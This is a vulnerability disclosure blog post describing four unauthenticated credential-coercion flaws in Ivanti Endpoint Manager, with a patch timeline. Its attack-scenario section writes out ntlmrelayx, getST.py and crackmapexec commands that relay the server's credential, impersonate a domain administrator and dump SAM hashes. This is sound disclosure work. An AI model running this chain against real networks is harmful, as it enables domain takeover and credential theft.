Back in October of 2024, we were investigating one of the many Ivanti vulnerabilities and found ourselves without a patch to “patch diff” with – leading us to audit the code base at mach speed. This led to the discovery of four critical vulnerabilities in Ivanti Endpoint Manager (EPM). These vulnerabilities were patched last month in Ivanti’s January patch rollup.
The vulnerabilities discovered allow an unauthenticated attacker to coerce the Ivanti EPM machine account credential to be used in relay attacks, potentially allowing for server compromise.
- CVE-2024-10811: Credential Coercion Vulnerability in GetHashForFile
- CVE-2024-13161: Credential Coercion Vulnerability in GetHashForSingleFile
- CVE-2024-13160: Credential Coercion Vulnerability in GetHashForWildcard
- CVE-2024-13159: Credential Coercion Vulnerability in GetHashForWildcardRecursive
Overview
The Ivanti EPM server is a .NET application that declares many of its web API endpoints across different component DLLs. The vulnerabilities lie in the C:\Program Files\LANDesk\ManagementSuite\WSVulnerabilityCore.dll
.
Within the LANDesk.ManamgementSuite.WSVulnerabilityCore
namespace the VulCore
class exposes APIs related to vulnerability management for endpoints management by the EPM server.

CVE-2024-13159: Credential Coercion Vulnerability in GetHashForWildcardRecursive
The GetHashForWildcardRecursive()
method defined in this class expects a string argument called wildcard
and is passed to HashCalculator.GetHashForWildcardRecursive()
.
The GetHashForWildCardRecursive()
method calls Path.GetDirectoryName()
on our user controlled variable which is then used inline with Path.Combine()
and assigns it to the variable rootPath. This variable is then used in a call to HashCalculator.GetDirectories()
which will cause the EPM server to attempt to read all the files in a given directory to calculate their hashes.

GetHashForWildcardRecursive()
methodThe vulnerability in this case is that this unauthenticated endpoint does not validate the input and the wildcard parameter can be constructed such that it results in the rootPath
being a remote UNC path.

Interacting with this unauthenticated endpoint is possible with the following Burp request.

Figure 4. Example request
CVE-2024-13160: Credential Coercion Vulnerability in GetHashForWildcard
The GetHashForWildcard()
method defined in this class expects a string argument called wildcard
and is passed to HashCalculator.GetHashForWildcard()
.

Figure 5. GetHashForWildcard() method
The HashCalculator.GetHashForWildcard()
function similarly will construct a path based on the user input.

Figure 6. Vulnerable
GetHashForWilcard()
methodPassing in the same constructed input as the last function will enable an unauthenticated attacker to coerce the Ivanti EPM server to reach out to a remote UNC path.

Figure 7. Exploiting the issue to add an Active Directory account
CVE-2024-13161: Credential Coercion Vulnerability in GetHashForSingleFile
The GetHashForSingleFile()
method defined in this class expects a string argument
called strFileName
and is passed to HashCalculator.GetHashForSingleFile()
.

Figure 8.
GetHashForSingleFile()
methodThe logic in GetHashForSingleFile() implies that the function may expect a UNC path as input and the behavior is intended. The issue here is that this functionality is available to an unauthenticated user.

Figure 9.
GetHashForSingleFile
unauthenticated dangerous functionality
An example request exploiting this issue can be seen in the below screenshot.

Figure 10. Exploiting the issue to create an active directory account
CVE-2024-10811: Credential Coercion Vulnerability in GetHashForFile
The GetHashForFile()
method defined in this class expects a list of string arguments called strFileName
and is passed to the same dangerous function in the above vulnerability HashCalculator.GetHashForSingleFile()
.
If authentication is only applied to the GetHashForSingleFile
endpoint in CVE-2024-13161, the dangerous functionality would still be reachable here.

Figure 11.
GetHashForFile
methodProof of Concept Exploit
Our proof-of-concept exploit can be found on our GitHub.
Attack Scenarios – Relaying 101
While none of the below relay techniques are new or novel, demonstrating the impact of this set of vulnerabilities is valuable to convey the severity of them – again impact will be environmentally dependent.
Relay to Machine Account Creation
Start ntlmrelayx, configured to relay to LDAP and add a machine account:
ntlmrelayx.py -t ldap://dc2.smoke.net --add-computer -smb2support --delegate-access

Relay to Delegated Admin Access
Compromising the Endpoint Manager server itself would lead to the ability to compromise all of the EPM clients, making this avenue especially impactful.
Start ntlmrelayx, configured to relay to LDAP, add a machine account, and add delegation rights to the new account:
ntlmrelayx.py -t ldap://dc2.smoke.net --add-computer -smb2support --delegate-access

Get a ticket to impersonate a domain administrator for the CIFS service on the Ivanti EPM server:
getST.py -spn 'cifs/ivanti-epm2' 'smoke.net/NDVMKAFS$' -impersonate a-jsmith

Validate administrator permissions on the Ivanti EPM server:
crackmapexec smb ivanti-epm2.smoke.net -u a-jsmith --use-kcache --sam

Disclosure Timeline
- 15 October 2024: Reported vulnerabilities to Ivanti
- 16 October 2024: Ivanti acknowledges receipt
- 17 October 2024: Ivanti validated vulnerabilities
- 13 January 2025: Ivanti releases patch
- 19 February 2025: Public disclosure blog by the Horizon3.ai Attack Team
NodeZero

Horizon3.ai clients and free-trial users alike can run a NodeZero operation to determine the exposure and exploitability of this issue.